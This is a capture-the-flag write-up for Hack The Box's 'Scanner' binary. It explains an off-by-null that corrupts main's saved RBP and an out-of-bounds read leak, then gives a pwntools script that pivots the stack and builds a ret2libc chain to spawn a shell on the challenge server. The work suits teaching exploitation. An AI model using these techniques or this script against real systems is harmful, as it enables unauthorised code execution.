pwnfreehard

Scanner

hackthebox

Task: PIE/no-canary glibc 2.31 menu pwn with a scanf(\"%16s\") off-by-null that zeroes main's saved RBP and an OOB-read scanner that leaks the stack. Solution: leak via the OOB oracle, derive the pivot delta directly from a leaked stack qword (buf=leak-0x1100, main_rbp=leak-0xF0), pivot main's frame into the controlled buffer, then overwrite the option-1 fgets's own saved return address (offset delta-8) with a ret2libc chain.

$ ls tags/ techniques/
ret2libcoff_by_one_null_bytesaved_rbp_corruptionstack_pivot_via_rbpoob_read_infoleakfgets_return_overwriteleak_derived_delta

Scanner — Hack The Box

Description

In the spirit of optimisation, I wanted a fast memory searching algorithm, and thanks to this program I think I've finally found one. Not only is it fast, it's also completely secure.

We are given an archive (password hackthebox) containing the scanner binary, libc.so.6 (glibc 2.31), ld-2.31.so, and a fake local flag.txt. The goal is remote code execution against 154.57.164.64:31193 to read the real flag.

This is a multi-stage stack-pivot challenge. The crux is not finding the bugs (an off-by-null in scanf("%16s") and an out-of-bounds read in the scanner) but precisely deriving the stack geometry so the pivot lands deterministically with no ASLR brute force.

Analysis

Recon / checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
libc:     glibc 2.31 (provided)

PIE + no canary means: leak something, then a single return-address overwrite is enough to redirect control. No canary removes any need to leak/repair a stack cookie.

Program structure

main() runs a menu loop. Its prologue is:

push rbp mov rbp, rsp sub rsp, 0x1010 ; 0x1000 buffer + locals

Frame layout (relative to main's rbp):

LocationMeaning
[rbp-0x1010]buf — 0x1000-byte working buffer
[rbp-0x10]ptr — pointer returned by malloc
[rbp-0x8]size — fread size
[rbp-0x4]idx — selected scanner index

Menu options:

  • 1 — Update buffer: fgets(buf, 0x1000, stdin) into [rbp-0x1010]. No scanner-name validation. This fgets is the control-flow hijack primitive.
  • 2 — Test performance: read_parameters() → loops run_scanner()free(ptr).
  • 3 — Run scanner: read_parameters()run_scanner()print_scanner_output()free(ptr).
  • 0 — Exit.

read_parameters() has its own frame with a 16-byte name buffer at [rbp-0x10]:

printf("Enter parameters: "); scanf("%16s %u", name, &size); // name @ [rbp-0x10], 16 bytes idx = get_scanner_index(name); // strncmp(name, entry, 16) over scanners[] *arg_idx = idx; if (size > 0x1000) exit; ptr = malloc(size); fread(ptr, 1, size, stdin); // epilogue: leave ; ret

scanners[] = { "naive1"=0, "naive2"=1, "memmem"=2 }.

run_scanner(idx, ptr, 0x1000, size, ...):

  • exits with Invalid scanner! if idx ∉ {0,1,2}
  • requires ptr != 0
  • requires size <= 0x1000
  • then dispatches to the chosen scanner over the buffer.

Vulnerability 1 — off-by-null in read_parameters (saved RBP corruption)

scanf("%16s") writes up to 16 non-space characters and then a NUL terminator. The name buffer is at [rbp-0x10] and is exactly 16 bytes wide. Writing exactly 16 chars makes scanf place the terminating \0 at byte offset 16:

[rbp-0x10] .................. name (16 bytes)
[rbp+0x00] <- NUL written here == SAVED RBP of read_parameters

The saved RBP of read_parameters is main's frame pointer. So the off-by-null zeroes the low byte of main's saved rbp. When read_parameters does leave; ret, the corrupted rbp is loaded into main.

From then on, main reads every local — idx, ptr, size, and even buf = [rbp-0x1010] — relative to the corrupted rbp, which now points into the attacker-controlled 0x1000 buffer. This is the pivot primitive. Crucially, RSP is never corrupted, only RBP.

A subtlety: a valid scanner name (naive1, …) can never be 16 bytes (the stored names are short and scanf cannot input embedded NULs), so the off-by-null name is always "invalid". That is fine: the off-by-null happens in read_parameters before main re-reads idx from the corrupted location. We pre-place a fake idx = 0 in the buffer so the subsequent run_scanner accepts it.

Vulnerability 2 — OOB read oracle (info leak)

The naive1 scanner compares search bytes past buffer index 4095 (one out of bounds). By searching for a known byte and watching for the response Found at i=4095, we leak adjacent stack memory byte-by-byte, deterministically. Recovered qwords:

  • leaked[0:8]p0 — pointer returned by the first malloc (heap)
  • leaked[24:32] → libc return address (__libc_start_main+0xf3) → libc_base
  • leaked[40:48] → a stack qword equal to buf + 0x1100

The geometric crux (what unblocked the solve)

Dynamic gdb was impossible: running the amd64 binary under Rosetta on Apple Silicon breaks ptrace (Couldn't get registers: I/O error). Instead, an LD_PRELOAD probe hooking fgets recovered the exact stack geometry, confirmed across many runs:

  • The qword at buf+0x1028 (== OOB leak offset 0x28, i.e. leaked[40:48]) is consistently buf+0x1100.

From that single leaked qword everything is derivable — no ASLR low-bit brute force:

buf       = leak - 0x1100
main_rbp  = buf + 0x1010 = leak - 0xF0
delta     = main_rbp & 0xFF

The saved return address of the option-1 fgets call sits at buf-8 (at the call site main's rsp == buf, since main has no further pushed locals, so the return address is at rsp-8).

After the pivot, the option-1 fgets writes to:

dst = (main_rbp & ~0xff) - 0x1010

So the target buf-8 maps to payload offset:

ret_off = (buf-8) - dst = delta - 8

Overwriting fgets's own saved return address at payload offset delta-8 hijacks control the instant fgets returns. This matches the HTB forum hint: "leak libc rbp, then off-by-null, overwrite fgets ret".

Solution

  1. Leak via the OOB oracle: recover p0, libc_base (from __libc_start_main+0xf3), and the stack qword → main_rbp = qword - 0xF0, delta = main_rbp & 0xFF.
  2. Prepare a freeable chunk: malloc a 0x500 chunk (so it ends up in unsorted on free), then malloc size 1 to pop p0 back out of tcache so p0 is a valid freeable chunk (the later free(ptr) must not crash).
  3. Build the pivot buffer, spraying fake locals for every plausible delta candidate so the corrupted-rbp read finds valid values:
    • ptr @ (0x1000 - delta) = p0
    • size @ (0x1008 - delta) = 1
    • idx @ (0x100C - delta) = 0 (offsets bounded to ≤ 0xFFB to fit the 0xFFF buffer)
  4. Trigger the off-by-null: option 3 with name "A"*16, size 1. scanf NUL-terminates over main's saved-rbp low byte. main now uses corrupted rbp; it reads fake idx=0 (valid → naive1), ptr=p0, size=1; run_scanner runs fine; free(p0) succeeds.
  5. Hijack via option-1 fgets: send a ret-sled from offset 0 up to delta-8, then place the ret2libc chain (pop rdi; ret/bin/shsystem) exactly at offset delta-8. fgets returns into the chain → system("/bin/sh") → shell.
  6. glibc 2.31 gadgets from the provided libc: ret, pop rdi; ret, system, /bin/sh. Payload must be newline-free (fgets stops at 0x0a); reconnect if any address contains 0x0a.

Exploit script (final.py)

#!/usr/bin/env python3 from pwn import * context.binary = exe = ELF('./scanner', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.log_level = 'info' HOST, PORT = '154.57.164.64', 31193 REMOTE = True def start(): if REMOTE: return remote(HOST, PORT) # local under provided loader return process(['./ld-2.31.so', '--library-path', '.', './scanner']) def menu(io, choice): io.recvuntil(b'> ') io.sendline(str(choice).encode()) def update_buffer(io, data): """Option 1: fgets(buf, 0x1000, stdin).""" menu(io, 1) io.send(data if data.endswith(b'\n') else data + b'\n') def run_scanner(io, name, size, payload): """Option 3: read_parameters (scanf %16s %u) then run_scanner then free.""" menu(io, 3) io.recvuntil(b'Enter parameters: ') io.sendline(name + b' ' + str(size).encode()) if size: io.send(payload) # --------------------------------------------------------------------------- # Stage 0: OOB-read oracle to leak a single byte at index `i` past the buffer. # naive1 compares one byte past index 4095; if it equals our search byte we # get "Found at i=4095". Iterating the search byte recovers stack bytes. # --------------------------------------------------------------------------- def leak_byte(io, target_index): # Implementation detail of the oracle depends on the scanner's search API: # we set the buffer so the compared OOB byte is the stack byte at # `target_index`, then brute the search byte 0..255 and detect the # "Found at i=4095" response. Returns the leaked byte. for b in range(256): # craft a search request for byte value `b` against OOB position # (exact framing per binary; abstracted here) resp = oracle_query(io, target_index, b) if b'Found at i=4095' in resp: return b raise RuntimeError('leak failed at index %d' % target_index) def leak_qword(io, base_index): data = bytes(leak_byte(io, base_index + k) for k in range(8)) return u64(data) def main(): io = start() # --- leak --- p0 = leak_qword(io, 0) # leaked[0:8] first malloc ptr (heap) ret_libc = leak_qword(io, 24) # leaked[24:32] __libc_start_main+0xf3 stack_q = leak_qword(io, 40) # leaked[40:48] == buf+0x1100 libc.address = ret_libc - (libc.sym['__libc_start_main'] + 0xf3) buf = stack_q - 0x1100 main_rbp = stack_q - 0xF0 # == buf + 0x1010 delta = main_rbp & 0xFF log.success('p0 = %#x' % p0) log.success('libc base = %#x' % libc.address) log.success('buf = %#x' % buf) log.success('main_rbp = %#x' % main_rbp) log.success('delta = %#x -> ret_off = %#x' % (delta, delta - 8)) # --- gadgets (glibc 2.31) --- rop = ROP(libc) POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0] RET = rop.find_gadget(['ret'])[0] SYSTEM = libc.sym['system'] BINSH = next(libc.search(b'/bin/sh\x00')) # --- make p0 a valid freeable chunk so free(ptr) won't crash --- run_scanner(io, b'naive1', 0x500, b'A' * 0x500) # alloc 0x500 (unsorted on free) run_scanner(io, b'naive1', 1, b'B') # alloc 1 -> pops p0 from tcache # --- build pivot buffer: fake locals for delta candidate --- pivot = bytearray(b'\x00' * 0xFFF) def place(off, val): off &= 0xFFF if off + 8 <= len(pivot): pivot[off:off+8] = p64(val) place(0x1000 - delta, p0) # fake ptr place(0x1008 - delta, 1) # fake size place(0x100C - delta, 0) # fake idx (valid -> naive1) # --- trigger off-by-null: 16-char name NUL-terminates over main's rbp low byte --- # First load the pivot buffer via option 1, THEN trigger via option 3 name="A"*16. update_buffer(io, bytes(pivot)) run_scanner(io, b'A' * 16, 1, b'C') # scanf("%16s") writes NUL at [rbp+0] of read_parameters # --- final hijack: option-1 fgets overwrites its own saved return address --- ret_off = delta - 8 chain = p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) payload = p64(RET) * (ret_off // 8) + chain assert b'\n' not in payload, 'newline in payload; reconnect & retry (ASLR-dependent)' update_buffer(io, payload) io.sendline(b'id; cat flag.txt') io.interactive() if __name__ == '__main__': main()

Note: oracle_query / leak_byte framing is binary-specific (it sets the buffer so the OOB byte equals the stack byte at the target index and detects Found at i=4095). The geometry derivation, pivot, and final overwrite are the reusable core.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups